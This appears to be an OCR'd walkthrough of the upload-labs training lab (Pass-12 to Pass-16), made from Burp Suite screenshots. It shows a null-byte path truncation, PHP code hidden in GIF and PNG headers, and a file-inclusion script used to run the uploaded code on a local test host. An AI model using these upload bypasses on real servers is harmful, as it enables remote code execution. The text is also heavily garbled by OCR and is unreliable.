Scan this dir for  ((none)

additional .ini files

additional .ini files |(none)
parsed
PHP APl 20041225
PHP Extension 20060613
Zend Extension 220060519

JESRMBEFERR T T, A AT A SO R A BR A4 387 AT 2 A% AR S0



&R (Request) IERi(Respons) u -
{k(Pretty) [E#f(Raw) 1635 (Hex) Cookies B w = Zik(Pretty) [Fta(Raw) i er) &L (Head =
1 GET /upload/phpinfo.php/fafng. php HITP/1. 1

2 Host: 192.168.93.128

3 User—Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; z64; rv:100.0) Gecko/20100101 Firefox/100.0
4 Accept: text/html, application/shtml+xml, application/mml; q=0. 9, image/avif, image/webp, #/#; q=0. 8
5 Accept-Language: zh-CN, zh;q=0. 8, zh—TW; q=0. 7, zh-HK q=0. 5, en-US; q=0. 3, en; q=0. 2

6 Accept—Encoding: gzip, deflate

" Commection: close System Windows NT DESKTOP-42010UK 6.2 build 9200

8 Upgrade-Insecure-Requests: 1 Build Date Jan 62011 17:26:08

9 Configure cscript /nologo configure js "—enable-snapshot-build” "—enable-debug-pack” "—-with-
Command snapshot-template=d-\php-sdKisnap_5_2\eB\xg6\template” "—with-php-build=d-\php-

sdkisnap_5_2\vc6\x86\php_build" "—with-pdo-oci=D:\php-
sdkioraclelinstantclient10\sdk shared” "—with-ocig=D-\php-
i ient10\sdk, shared” "—without-pi3web”

Server API ‘Apache 2.0 Handler
Virtual Directory | enabled
Support
Configuration C\Windows
File (php.ini) Path
Loaded E HE pload-labs HP\php.ini
Configuration
File
Scan this (none)
additional
o
HRBERT BRI -
Y -
Jivk: %00 WM gt
Pass-12
&K (Request) TERZ(Respons)
=(Pretty)  BEA(Raw)  16ESl(Hex)  Cookies B 0 = =prety)  EERaw)  16ESlHex) | BRASRender)  BEXk(Headers)
1 POST /Pass-12/index.php HTTP/1.1 55 <p>
2 Host: 192.168.93.128 bff—4<code>
3 User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64;, rv:100.0) Gecko/20100101 Firefox/100.0 webshell
4 Accept: </cade>
text/html, application/xhtml+mml, application/mml;q=0. 9, inage/avif, image/wehp, */*; q=0.8 ST
5 Accept-Language: zh-CHN, zh;q=0. 8, zh-TW; q=0. 7, zh—HK; g=0. 5, en-US; g=0. 3, en; g=0. 2 <fp>
6 Accept-Encoding: gzip, deflate 56 <fli>
7 Content-Type: multipart/form—data; 57 <1i>
boundary 5761832841855 483956366 58 <h3>
& Content—Length: 506 X
9 Origin: http://192.168.93.128 </h3>
10 Connection: close 59 <form enctype="multipart/form-data” method="post”>
11 Referer: http://192. 168. 93. 128/Pass—12/index. php 60 T
12 Upgrade-Insecure-Requests: 1 IR EEMEA: <>
13 61 <input type="hidden’ name="save_path” - Jupload/” />
14 5761832841855869693483956366 62 <input class="input_file” type="file” name="upload file"/>
15 Content-Disposition: form-data; name="save_path” 63 <input class="button” type="submit” name="submit” value=" [{£&"/>
16 64 L
17 .. /upload/ 65 <div id="msg">
1 5761832641855869693483956366 66 #or: Rl Ltk spel. poel. el £ 501
19 Content-Disposition: form-data; name="upload_file”; filename="phpinfe. php” fdivy
20Eortet—Fyper—appitoatroryoctetstrea <div id="img">
21 <Jdiv>
22 <7php phpinfo(); 7> <fliz
<Jol>
<fdivy
5761832841855869693483956366
Content-Disposition: form-data; name="submit” fdiv>y
<div id="footer”>
kit 75 <center>
5761832841855869693483956366—— Copyrightlnbsp; @&nbsp; <span id="copyright_time”>
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&K (Request)
Fe(Raw)  16#8(Hex)  Cookies 8w

POST /Pass-12/index. php HITP/1.1
2 Host: 192,168.93.128

o

- o

Accept:
text/html, application/xhtml +xml, application/xml;
5 Accept-Language: zh~CN, zh; g=0. 8, zh-TW: q=0. 7, zh-HK;
Accept-Encoding: gzip, deflate
Content-Type: mul tipart/form-data;
boundary
§ Content-Length: 512
9 Origin: http://192.168.93.128
0 Cormection: close
Referer: http://192.168. 93. 128/Pass-12/index. php
2 Upgrade-Insecure-Requests: 1

9, image/avif, image/webp, */+ q=0. 8
. 5, en-US; q=0. 3, en; 4=0. 2

5761832841

5761832841,
5 Content-Disposition: form-data; name="save_path”

/upload/shell. phLD
5761832841855

Content-Disposition: form-data; name="upload file”; [E
Content-Type: application/octet-stream

Pphp phpinfo(); ¢

95761832841855869693483956366
Content-Disposition: form-data; name="submit”

576183284185586969348395| —

BRI B R B R 2 png ) B4R

O 8 192.168.93.128/upload/shell.php

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win84; =64; rv:100.0) Gecko/20100101 Firefox/100.

Bii(Respons)
E{y(Pretty)

SEBR bSO RAF B AR S50 K 0x00 J& T iR A7 TR

[ERaw) 1623 (Hex) REEFIE(Render) ERL(Headers) B
o>
</1i>

<li>

“mul tipart/form-data” method="post”>

BEfERE T <oy
¢input type="hidden” name:
input_file”
¢imput class="button” type
</form>
<div id="msg”>
<Jdiv>
dv 1d="1ng >
<img sre=".. /upload/shell. php/8320220418132716. png’

Jupload/" />
“upload_file”/>
7 value="

width="250px" />

</div>
</lix
<fol>
<dive

</divy
<div id="footer”»
<center>
Copyrighténbsp; @nbsp; <span id="copyright_time">
</span>
&nbsp; bydnbsp; <a href="http://gv7.me” target="_bank”>
cOny
fax
</center>
<Jdiv>
<div class="mask”>
<Jdiv>
<div class="dialog”>
<div class="dialog-title”>
#enbsp; ca href="javascript:veid(0)”
M
<fa>

<>

class="close” title

P —TF.

Inspector

Selection

Saelected Character

o

Code  16i8I(Hex) v

Request Attributes
Request Query Parameters
Request Body Parameters
Request Cookies
FRK(Request Headers)

Response Headers

Apply changes

73‘5%3: UXOOEﬁ%ﬁ

Pass-13

PHP Version 5.2.17 @@
System ‘Windows NT DESKTOP-42010UK 6.2 build 9200

Build Date Jan 6 2011 17:26:08

Configure

cscript /nologoe :onﬁgurejs “—enable-snapshot-build” "—enable-debug-pack™ "—with-
‘Command snapshot: dki: p_5_: plate” “—with: build=d:\php-
sdkisnap_5. Z‘WB\xBS\php build™ "—with-pdo-oci=D: \php»sdk\uracle\mslamchenﬁU
\sdk shared” "—with-oci=D:\php-sdkloracle\instantclient! 0\s dk shared” "—without-

pidweb”
Server APl Apache 2.0 Handler
Virtual Directory |enabled
Support
Configuration File |C.\Windows
{php.ini) Path
Loaded EX\phpstudy\PHPTutorialWWWiupload-labs-enviPHP\php.ini

Configuration File

Scan this dir for (none)
additional .ini files

-additional .ini files |(none)

parsed

PHP API 20041225
PHP Extension 20060613
Zend Extension 220060519
Debug Build no

Thread Safety enabled
7and Mamorv anabled
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Errwn

&HK(Request)

Pretty)

FEE(Raw) 16i#8l(Hex)

POST /Pass-13/index.php HTTP/1.1
Host: 192.168.93.128

Coakies

Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;
boundary
§ Content-Length: 114014

9 Origin: http://192.168.93.128

o Ol W e

User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html, application/zhtml+xml, application/zml;
Aceept-Language: zh—CN, zh; =0. 8, zh-TW; q=0. 7, zh-HK; ¢=0. 5, en-US; q=0. 3, en; q=0. 2

0. 9, image/avif, image/webp, */#; q=0. 8

415188833840425753222116650416

10 Comnection: close
11 Referer: http://192. 168. 93. 128/Pass-13/index. php
12 Upgrade-Insecure-Requests: 1
13
14 415188833840425753222118650416
15 Content-Disposition: form-data; name="upload_file”; filename="1.gif”
16 Content—Type: image/gif
17
18 GIF8%a +7$&/’ 525336>: () (B50NOgZ. *M/HMUgfw' “dLOMHYac_bqts'gl vS{ s h g wu _x
o $ / ¢ U b §
b2
d d 0 H 9 "~ go- Ik [V! | NETSCAPE2.0, 4
F B A B
F FBA:;;T T A X
TE : o9d wlty,  C#] H Ex M A®P a® < % +e
s 8C H Fel x Cox Y p ti T T julUX vx U
z P - D
KD. zre %e st ¥ s m( h %
2 f n Eo"7a ’ o _ v oun
"H W_z B{f = .h[  hr
19 r - yx wk bRY% A\T2 (a h ( t h w q< -) g4 # [
% 9 bj % F f E22 8 £V s d7Y 9 ) g b _
20 ) dB:g d ¥j H Pz z % D
< |v
KPrety)  BARaw)  16EBlHex)  Cookies B
529 2 1pP
L% DpP4 B 1 * )P "1 o4 B0 o+ nRBA G -
4p16 @ ] Je De W 0> 3l 1% 5D@+T Tt
8 3 ;1 Hmmw fEos &8 Dl g ( lg Lieml#
W Fe
& s @ @x  }d $F#9 Lac4 ( 1He( +E
kr D 2OAW 0 =k R K J u .h
CE | xes wil & 3 TPdR,
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2l 6 Y R JOP @y ! = 1 gee) W
02HO bihTe356 UHBAIB £ U @ xx ? 371 + P9
AP g 68U @ .G( ID
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539 @ - I\ @ 8 VI { bf c N XU be 3 134T6%
d 1 6 3k 31 al 3 @n”. w _ q\ bk JPo @ex $ <( 4 ¥( 0
T Op glh@ G W@k 6 a=4< He @[3 @ip o se20
sp2lo sNO "/ 9 8 b6 PBBR g 4HS P 0 J gp Q@ j Je L
z a1 66 X _ H{ HC v¢ A 9 En FA jla
A oo <A 3N <QAV
& 99 MuifE W ot . 0z %9 = s fHCT huz
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#T7F include.php 3 ff, XEHZEERT
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<Yphp

header (“Content-Type: text/html ; charset=utf-8");
$file = $_GET[ file'];
if(isset(§file)) {
include 3file;
Yelsel

show_source(_ file_ J;

< > C O & 192.168.93.128/include.php?file=upload/6120220418135151.gif

90500000006000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000000000000060000000000000006000
H$ €4 0\09C#I9HP 91K 9001 A 14 de(SPPkHKY hpPYOM<99O09-09 Q99 98=|9ONOPEG P9 ODY@ 0109 04/ 900 9 9AGHEMRAI2XD 99 kP9 91882DVICH36(0Q@QHYP ) 09 9CHODBARG 109 4j9CH9POOh o9&
90Cal909YH9 SWOH09 "76v000!909FCOOPH22/9OMEBAD<920\999BI99<00CH100005\\0 <0 (NG9 QDL 9.0CH.000YONGCOI_60IMP926099606 980 0Nn10a=DqC|9)#9 99999 0051Q 0996 0)9C
9=0(9@DOMOHENHCYHPPI ¢ 499108 9D 9001000100000 067000090 OMPXONG PP O OTOOHO9=0C000-X0009'0 X0 89O 019~ D999 MPWYQEG LG9 4D eTYHj9 00 0Y) 0" 00 ena’[
90+V0IF991 9 (09aF0HH7QX0 0160 §0C090X09<000(0T9040900WDH$ 90500 TY00052900h7T419)300100'RQHG01G441LDISGS 942001000990 0E08/009:QHHG)00000XKO0(BAOQHC\920-0

9P9:9t01b9’197¢ 9209 9PPBI@ 99 9#T>pYL?QUIGSDYPH ¢ (91900 $a) 9 9BvY 9309 HKD 9990 ~[920\Q0ICHEGUIDIQ%PH29PIG19945P9 ' -HO\ &_04 VOAIPGG0D 19 ORYHY>90AQUYI2H>HBO G HPHIHTSHKQGAS
90COORA QUIGOOPAG 020000000000 <00950KH 9.6/ 0)000:00WD)E S0 090800090\ QHI9 0K 9005807560000 005.@\0OKFOB SO:000VWX%9.0L090 9067000909826 0
OXQ0P0HORGLOV200 000 ONOHH §4-TOZIB250i0 600000 0:004719 OUGHCOWI> 91990 S HYQI"2IXCHO9>%HG2<[9GUW:OF SU3~HQIOWH9 000900 0UGdOHTE0 & $0BIOVAS,004%M(24 04T 92y 97VL
2600%Hoy99XQ0}H 91050 HRE%—0 6 +6 000401 <46%0: X41676-0_50BOHETI0094D\> 96 0C09005-0D09 09 690G VL0 00HZ67.066aFHHUINT 49DHHIH0CH"5 (GLEGTHHNGGPWSH & /FA098:09406T630
BokoreVe~7A9 oX9p02a@bPUASG(9Ga.hé' 19 9HREP_$P2)SEGEX0HI 954 KA HY(Q! IO T ohIo+ Wx599-9WH0H 6 #BPD=0!9#84 ¢.9 WoN$%13iXg OQQaIQsQ*q“BQ@UtOPO.H&éOXOQolakbg\feéénoéq‘EyEoéhj
59Q@09 999 9XEGDED<91HING M \KYIM.HXMH 99 TT9" 19009009 0UG9(HOCHI90 00 MOOH(MMO 9|0 6(@ UPTHBS 9D\ 0%(9Z69Q<619Q 94ChhoUS9hQOBIZ94=-091(9UOUP119394UBONG &

90" UGP-THIMEiI9 99 0%CP 0099991090 -30%0 90 9)99F POQY' T OO 9PVOHPAL WOPAVSOQ Y P9y 9 90 0@01900D2C19Y0 90000090 030071/0P30 0000950 W00 99 P=HIIG 9109010907 %92 (0 0010
QOO6BOVIOVELI9000700000000M0"03:0%903007201>09 00TOEDG)9 0900990 00B)OVDEVGEHBINGEPIDO09)>00>POYOPPRDEOTPOjQOISMYIGLOEYPIVZO N9 G600 0 0:0 920 0)6.07@D20

9 060906260'9R9 99 5'5258/33*#()(6>:>M Ugfw/HM'AdB5ONOgZ.LOMHYa*g[c_bqtsué x@y}¢{9s060666 (66
00509/09066000H0GHE0SUISISISISTIOOUGG00000000000000000000005000009D00710./0T0,0000000000000000000000000000000000000000000000009
00“000?6000660000600000609000060066000000060909000009000060006000000?6090900006660006000000006006090000000600000006090900000900#
He 666"\ 00C10HO 406> 04/CHEG0 9 OPOIPIAGS>4 @ONGHYPeOHDIPS%A 599 QH=9DH+ 41 IPIG@HDE 26 HP92606) 090K 9 9109 0IP3B 92000V $ 0KOSY 999 X0 963 §:16/5u0 \"9x=N-0$98!6 06 04 ¢ obp
hWQPra09AY; 9X-99@AG9901068-9000>0000000KE06DP60'0000 0091090016 &109DO=-093X0 199 9LO9G0PHOPHH=DoVO ) 6V9.00906 .0° 06X+ 9/09 6UP96%t0909090C/ 96 0<00
QHZ6kQQY.§P=9y9KOAGIAD]) QDO 41 @MIGXTTHEQPYWP)9 ¢ 96959 cHUZC\ICHOTUGOWH 9 9490V ODR 090 OPCOPIBeO <09 HLONOL99U<39|<*9A9=V 6QAEQOIH 94T 909 ¢ 9 9XP:9R5QCHFQNEIDIGBHN\7 1
QOKMVG 9 OB (9 H(91a0WH)I6 4TMNELOPHCHXOEH 0 OPH & 94007004 $4.D5UMIX54Q0N9DHLICHOX|3\I1$HBWYHH\OWT| 465 920TPPH G666 00406 6500 HDPPAGBOIG 076 69ICHPH 19650406

<P O9ONRBAYGGH-9KI'Y 2|69 g9 9919999 9)EODR 9P GOV P9 9390\>1\Xpd $91%95D@+TOTG ¢ 4184399 19 HHMMIPKEG#H ¢ 9EBHD[9 00999199 HLXOMIE § GNNHGFD§ NBIY 999590000 Q% Q™9 9)
do99$F199LOCIH(01,iHO@ OLE Lg>9DPOMIELG S 20K 9 090060 D96:> FAWE P00 09-kOREKEH 09 J9OUEN -090(0Q"TI?OQ 0 9B 92P1066Y0 9 90D 0 BAZOZIH0MHKY S +QUOHEBHH 676X

GO0 037°09.04.) 09 ¢Y04/0979909P x9PYOCBINGHO YOPPHEXUTYH " aulP9HOEY 990 kPODP G~ ICRPOK #GNR k@ T59)9=9 4 +Wg.de@HPASH"8a9CBYPHbG Y HZHTUG 909004 (0197 90 909|000 OE"(
9090 -NOLOIO\@ICH3560KEGH X0 90AG 09 X7 OLOOH 9060 00(HO020 6060 0A930 0" Y PWZ0 4029 QWHWWEITP*$90"eC9 9A(64 HFE VW HWHI* 9X 0680 0 9EG 00 00K 1hIEQEKEDHCINS 92-6.6Q 2
P99 9050(H39HO Cur9OREBOG (999d '9SSHMXD e9qOGCHHG ! G@X yH%PI1 KH)GHATOH-9T(B5d 39HGHP39 02609 1 GAGVVVOKXYHZHiHY/rORUCH G HTO'AO- 00 QUVYE#GHFPIODI$59 5% ¢d9 04 ORP
?;J:ggggg;gmé&éégﬁé QUOODVE0 00200 DOOYOOYV0000000100 GOFRIE2O%PO 9)0NGE>9A ' H - 00000007007 080%GYH 9090 00%I> 0V 09 <P 190202000 10(PO19I00.)970C3400000- 00

PHP Version 5.2.17 Php
System 'Windows NT DESKTOP-42010UK 6.2 build 9200

Build Date Jan 6 2011 17:26:08

Confure oot el conhgue~srable-sapaho e e b e

p: pl php-sdk\snap_5 plate” “--with-php-
build=dA\php-sdk\snap_5 2\vc6\xB6\php_build" *--with-pdo-oci=DAphp-

dl 0 i ik shared" *~-with-ociB=DAphp-sdkioracl
\instantclient10\sdk,shared” *--without-pi3web®

Server APl Apache 2.0 Handler

Virtual Directory |enabled

Support

e

T PR

)5 R R J7 i4Epng A jpg B#R EA& b 2%, #ATCHEE T RBATELT



phpinfo() * ~ upload-labs * +

QO & 192.168.93.128/include.phy?file= upload}‘4020220418202608]pg

b&06 0K100 4161060 9KGIVISH Y0603 |Gk9 9500000 0006.36-(0C0Q-Q0 9F 00 060 930TH~180WM.076)06 0306 9069621 9cH QEK| 6 46C
QOTX0 0 0@i6 00 G OEPEG 00000 00U0 00 0XOX/50 #QELOMI[O4)Y 9 9KOGCEGH/a\T10Y0T0 0 4050 66+QlX26 0kdH O ¢ < ¢.ip[ $40Z1679i4/6 9205
€040 0x0Q\0¢ 6364 10(00L(FR2t8S6(01610.160a0)/(¢ 061" 670uHOM3%0 $$20056'QUET/+*$QoHS G YHQEVEH 6 914Co SRBV:QEIQZDHTPOQI$ 6+
©006 *6:26+H'390Q0(($940U6 ¢ 6 RAG 4 6V3oN61hz9 6'1(93e320E10 0061210600 ¢ 0400600360 0 0EOILTSIG GENGO1OPI(9)1510(010236 (0 S oRC
9Ere0 0ho1yy 900 9t4ioPGo:00.03'9260QECHH=HaL9"¢ 094OMS 09569 QUBSY~NG 96

PHP Version 5.2.17 php
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Configure cscript /nologo configure.js "--enable-snapshot-build" "--enable-debug-pack” "--
Command Tt e el e Sy e e, 5 e e i " il

build=d:\php-sdk\snap_5_2\vc6\x86\php_build" "--with-pdo-oci=D\php-
sdkyoracle\instantclient10\sdk,shared” "--with-oci8=D:\php-sdk\cracle
\instantclient10\sdk,shared"” *--without-pi3web™

Server APl Apache 2.0 Handler

Virtual Directory (enabled

Support

Configuration File | C\Windows

(php.ini) Path

Loaded E:\phpstudy\PHPTutorial\WWWhupload-labs-em/APHP\php.ini

‘Configuration File
Scan this dir for |(none)
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Configure scipt /nologo configurejs "—enable-snapshot-build" —enable-dsbug-pack”*
ith hot-templ php-sdkisnap 5 —-with- Php
build=d:\php-sdidsnap. 5 2\ve6\@6\ahp. buld* *—with-pdo-oci=DAphp-




# IS
unction getReailFileType( )
fopen( ,"ro"); / PLEER =) 7 ZCHT I A
fread( , 2); R E2FH, 15 7=8bit
fclose( );
@unpack("C2chars", );  //unpack() BREHHFRAE A1
intval( ['chars1'] ['chars2']);
CHFEIT)

switch( K /AL G 25 R SR, AR i XS L #5 26
case 255216:
Ipg’;
break;
case 13780:

break;
case 7173:

break;
default:
'unknown';

}

return

false;
null;
if(isset( ['submit']) {
['upload_file'|['tmp_name'];
getReailFileType( );

if( 'unknown'){
SclEkE, BRI
telse{
UPLOAD_PATH."/".rand(10, 99).date("YmdHis")."."
if(move_uploaded_file( , )N
true;
}else {
"Efe g "
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struct GIFHEADER GifHeader Oh 6h
char Signature[3] Oh 3h
char Version[3] 3h 3h
struct LOGICALSCREEMDESCRIPTOR LogicalScreenDescriptor 6h 7h
ushort Width 6h 2h
ushort Height 8h 2h
struct LOGICALSCREENDESCRIPTOR_PACKEDFIELDS PackedFields Ah 1h
UBYTE GlobalCeolorTableFlag : 1 Ah 1h
UBYTE ColorResolution : 3 Ah 1h
UBYTE SortFlag : 1 Ah 1h
UBYTE SizeOfGlobalColorTable : 3 Ah 1h
UBYTE BackgroundColorindex Bh 1h
UBYTE PixelAspectRatio Ch 1h
struct GLOBALCOLORTABLE GlobalColorTable Dh 180h
struct RGB rgb[128] Dh 180h
struct DATA Data 180h 1BATBh
struct TRAILER. Trailer 1BC0Bh 1h
UBYTE GIFTrailer 1BC08h 1h
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Configure cseript /nologo configurejs *--enable-snapshot-build® *--enable-debug-pack® *--
[« d with: h ; d:\php-sdk\snap_5_2\wc6\xB6\template” “--with-php-

buiId:d:\rphp-sdk\snap_S_Z\vcﬁ\)dﬁ\Php_build" ith-pdo-oci=Di\php-
sdk\oracle\instantclient10\sdk,shared” "--with-oci8=D:\php-sdk\oracle
\instantclient10\sdk,shared" *--without-pi3web”

Server API Apache 2.0 Handler

Virtual Directory |enabled

Support

Configuration File | C:\Windows

(php.ini) Path

Loaded EA\phpstudy\PHPTutoria\WW\Wiupload-labs-emAPHP\php.ini

Configuration File
Scan this dir for |(none)

additional .ini

files

additional .ini (none)
files parsed

PHP APl 20041225
DD Evbameinm ANNENRT D
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unction isimage( X
jpeg|.pngl.gif’;
if(file_exists( )X
getimagesize( ); 7 KR G BRK A, TR EIE 2, RRIK [5] FALSE
image_type_to_extension( [2]); // 1R#5 75 7€ 1 BT R S 218 [E] 5T B HY £
if(stripos( Sext)>=0){ // B LB 552 B E F 4 HE
return
else{
return false;
ki
else{
return false;

false;
null;
if(isset( ['submit']){
['upload_file'|['tmp_name'];
isimage( ); / BN B R 5 B AT LRAF A
if( )it
"SCERR, BARREC

}else{

UPLOAD_PATH."/".rand(10, 99).date("YmdHis")
if(move_uploaded_file( , )X
true;
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{
/B EIF jEphp_exif ik
exif_imagetype( ); /BT — R ER, AR T IEZ, & — X w E, &R e False
switch ( ){
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;

false;
null;
if(isset( ['submit'])){
['upload_file']['tmp_name'];
isimage( );
if( A
SRS, BARRICY
telse{
UPLOAD_PATH."/".rand(10, 99).date("YmdHis")."."
if(move_uploaded_file( , )N
true;
}else {

"B "
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igHk(Request) IERE (Respons)
=k (Pretty FiA(Raw) 163280(Hex) Cookies B n = = (Pretty) Fs#(Raw) 16388 (Hex) B (Render)  EFRX(Headers) Bw =
1 POST /Pass-15/index. phpTaction=show_code HTTP/1.1 ,<code>
Host: 192.168.93.128 Lgif
User—Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64; rv:100.0) Gecko/20100101 Firefox/100.0 </code>
4 Accept: text/html, application/zhtml+ml, application/mml; . 9, image/avif, image/webp, #/#*;q=0. 8 “FREERER SRR h A Lok
Accept-Language: zh—CN, zh; ¢=0. 8, zh-TW; ¢=0. 7, zh-HK, ¢=0. 5, en-US  g=0. 3, en; g=0. 2 <fp>
Accept—Encoding: gzip, deflate 60 <fli>
7 Content-Type: multipart/form-data; 6 <1i>
boundary 160071004039969648519125710 <h3>
& Content-Length: 382 F i X
Origin: http://192.168.93.128 </h3>
Comnection: close <form enctype="multipart/form-data” methed="post”>
11 Referer: http://192.168. 93. 128/Pass—15/index. php?action=show_code <p>
Upgrade-Insecure-Requests: 1 HIERELEMER: o>
<input class="input_file” type="file” name="upload_file"/>
1600710040: 48519125710 <input class="button” type="submit” name="submit” value="_L{£"/>
Content-Disposition: form-data: name="ppload_file”; filenam: </form>
1f Content-Trpe: e ymcmest
1 <fdiv
1E| GIFS8a |[<7php phpinfo() ;7> 7 <div ild="img" >
1600710040: 48519125710 71 <img src=".. /upload/6320220419150822. gif width="25(px" />
Content-Disposition: form—data; name="submit”
<fdiv
b4 72 </li>
1600710040: 48519125710— <11 id="show_code”>
<h3>
el
</h3>
<pre>

<code class="line-numbers language—php”>
function isImage ($filename) {

77 /I T FHphp_exi £H:

$image_type = exif_imagetype ($filename) ;
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Configure eseript /nalogo configure.js *—enable-snapshot-build” *—enable-debug-pack™ "
ith-snapshot templ php-sdlid = with-php-
i =
sdk\oracle\instantclient10\sdk, shared" "—with-oci8=DAphp-sdkioracle
\instantclient10\sdk shared" ~--without-pi3web”
Server APl Apache 2.0 Handler
Virtual Directory | enabled
Support
Configuration File | C:\Windows
(php.ini) Path
Loaded pload-lab: php.ini
File
Scan this dir for | (none)
additional .ini
files
additional .ini (none)
files parsed
PHP API 20041225
PHP Extension 20060613
Zend Extension 220060519
Debug Build no
ot et
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<fcode>

Gf 6= 6 €5 63 T4 69 6f 6= 3a 20 63 6c 6f 73 65 onnection: close | <cods>
0d 0a 52 €5 66 &5 72 €5 72 3a 20 €8 74 74 70 3a Referer: http: .gif
<fcode>

2f 2f 31 39 32 2e 31 3¢ 38 2e 39 33 2e 31 32 38 //192.168.93.128
2f S0 €1 73 73 2d 31 35 2f €9 6e €4 €5 78 2e 70 /Pass—15/index.p
68 70 3f 61 63 74 €9 6f 6e 3d 73 €8 6f 77 5f 63 hp?action=show_c
6f 64 €65 0d 0a 55 70 €7 72 61 64 65 2d 49 &= T3 ode Upgrade-Ins
€65 €3 75 72 €5 2d 52 &5 71 75 65 73 74 73 3a 20 ecure—Regquests:
31 0d O0a 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 1
2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 24
2d 2d 33 33 31 32 37 34 36 3% 30 36 32 34 31 33 —-33127469062413

b R A o

<form enctype="multipart/form-data” method="post”>
<>

B EAEME N o
33 35 37 31 32 38 31 38 34 33 33 33 30 36 34 32 3571281843330642 " <lﬂp;ttﬂfﬁ\g‘;-mmﬁjlle- type="file” name="upload file"/>
0d Oa 43 6f 6e 74 €5 €= 74 2d 44 €9 73 70 &£ 73 Content-Dispos <input class="button” type="submit” name="submit” value=" {£"/>
69 74 69 6f 6e 3a 20 €6 6f 72 &d 2d 64 61 74 61 ition: form-data ‘ff"ﬂfl) ..
3b 20 6e 61 6d 65 3d 22 75 70 6c 6f €1 64 S5f 66 ; name="upload £ :f,lzl;\_l)d= msg
€9 6c 65 22 3b 20 66 €9 6c 65 6 61 6d €5 3d 22 ile"; filenam ¢div id="img"
70 68 70 69 6e 66 6f 2d 31 2e 70 68 70 22 0d 0a phpinfo-1.php" <img sr J/upload/8420220419153531. png| width="250px" />
43 6f 62 74 65 6 74 2d 54 79 70 65 3a 20 61 70 Content-Type: ap i
70 6c €9 63 61 74 69 §f 6e 2f 6f 63 74 65 74 2d plication/octet— lis
73 74 72 65 €1 &d 0d Ja  0d Oa 89 50 4c 47 0d 0a stream OBENG <li id="show_code™>
la Oa 00 00 00 Od 49 48 44 52 3c 3f 70 €8 70 20 O IHDR<?php <h3>
70 68 70 69 Ge 66 6f 38 29 3b 3f 3e 0d Oa 2d 2d phpinfo();?> —- (/j;;)
2d 2d 2d 2d 2d 2d 24 zd d2dzd 2d 2d 2d 2d 2d  ———————————— <pre>

2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 33 33 31 32 37 -—————————— 33127
34 36 39 30 36 32 34 31 33 33 35 37 31 32 38 31 4650624133571281
38 34 33 33 33 30 36 34 32 0d 0a 43 6f 62 74 65 843330642 Conte
6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6= 3a 20 nt-Disposition:
66 6f 72 6d 2d 64 €1 74 €1l 3b 20 €e €1 6d 65 3d form-data; name=
22 73 75 €2 &d €5 74 22 0d Oa 0d Oa e4 b8 8a 4 "submit" &, ,0a

bec a0 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 24 -

<code class="line-mmbers lansuage—php”>
function isImage(3filename) {
/1T ET fiphp_exi £k
$image_type = exif_imagetype ($filename);
switch ($image_type) |
case IMAGETYPE_GIF:
return “gif”;
break;
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Configure escript /nologo configure js *-—enable-snapshot-build” *--enable-debug-pack” "~
ith-snapshot-temp php-sdisnap_5, " *--with-php-
build=di\php-sdkysnap_5 ' * =—-with-pdo-oci=DAphp
dK\oracle\i fient10\sdk shared” *--with-oci8=DAphp-sdkiorac]
\instantclient10\sdlk shared” *--without-pi3web"
Server APl Apache 2.0 Handler
Virtual Directory |enabled
Support
Configuration File | C:\Windows
(php.ini) Path
I Y o pload-lab e
{none)
additional .i (none)
files parsed
PHP API 20041225
PHP Extension 20060613
Zend i 220060519
Debug Build no
Thread Safety  |enabled
Zend Memory  |enabled
Manager
1PV6 Support enabled
Registered PHP | php, file, data, http, ftp, compress.zlib, compress.bzip2, https, fips, zip
Streams
Registered Stream |tcp, udp, ss, ssh3, sshv2, tls
Socket Transports
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E*K(Request) IERI(Respons)

N = =fePretty)  FR(Raw)  16E8(Hex)  BAPIE(Render)  iER3k(Headers)

GPretty)  BUA(Raw)  16EBIHex)  Cookies
U srlLs

1 POST /Pass-16/index. php HTTP/1.1 61 i

2 Host: 192.168. 93.128 o 2h3>

3 User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64, x64; rv:100.0) Gecko/20100101 Firefox/100.0 - TR
4 Accept: text/html, application/xhtml+xml, application/mml;q=0. 9, image/avif, image/webp, */4; q=0. 8 Ih3>

5 Accept-Language: zh-Cl, zh; g=0. 8, zh-TW; g=0. 7, 2h-HK, ¢=0. 5, en-US,; ¢=0. 3, en, g=0. 2

& Accept-Encoding: gzip, deflate 63 <form enctype="multipart/form-data” method="post”>
- LT 64 <p>
7 Content-Type: multipart/form—data; sk s | —_—
i 1
boundars 161377664720007766721582987113 . FEHELENEL: @ s . et
S Content-Length: 14840 65 <input class="input_file” type="file” name="upload_file"/>
: Origin: http'/."lB” 168, 93, 128 66 <input class="button” type="submit” name="submit” value="_L{£"/>
10 Cormection: close ;c Zﬁgmil;:'ms -
11 Referer: http://192.168. 93. 128/Pass—16/1index. php 6:‘ Jdive s
i: Upgrade—-Insecure-Requests: 1 -0 Jdiv 1d="i
° - _ _ 71 <img sro Jupload/19589. png”| width="250px" />
5 Content-Disposition: form—data; name="upload_file”; filename="phpinfe_1l.png" Jdivy
Content-Type: image/png J1i>
<fol>
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N U . . _ 78 dcenter>
B e R ¢ g3 E e Copyrightimbsp; &nbsp; <span id-"copyright_time’>
N -~ - - </span>
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CPrety)  BtaRaw)  1683IHe)  Cookies N = EHiPrety) [EHRaw)  1685l(Hex)  BAAB(Render)  Efii(Headers)
— T —
1 POST /Pass-16/index. php HTTP/1.1 o o
2 Host: 192.168.93. 128 62 <h3>
3 User—Agent: Mozilla/5.0 (Windows NT 10.0; Winf4; x64; rv:100.0) Gecke/20100101 Firefox/100.0 - e
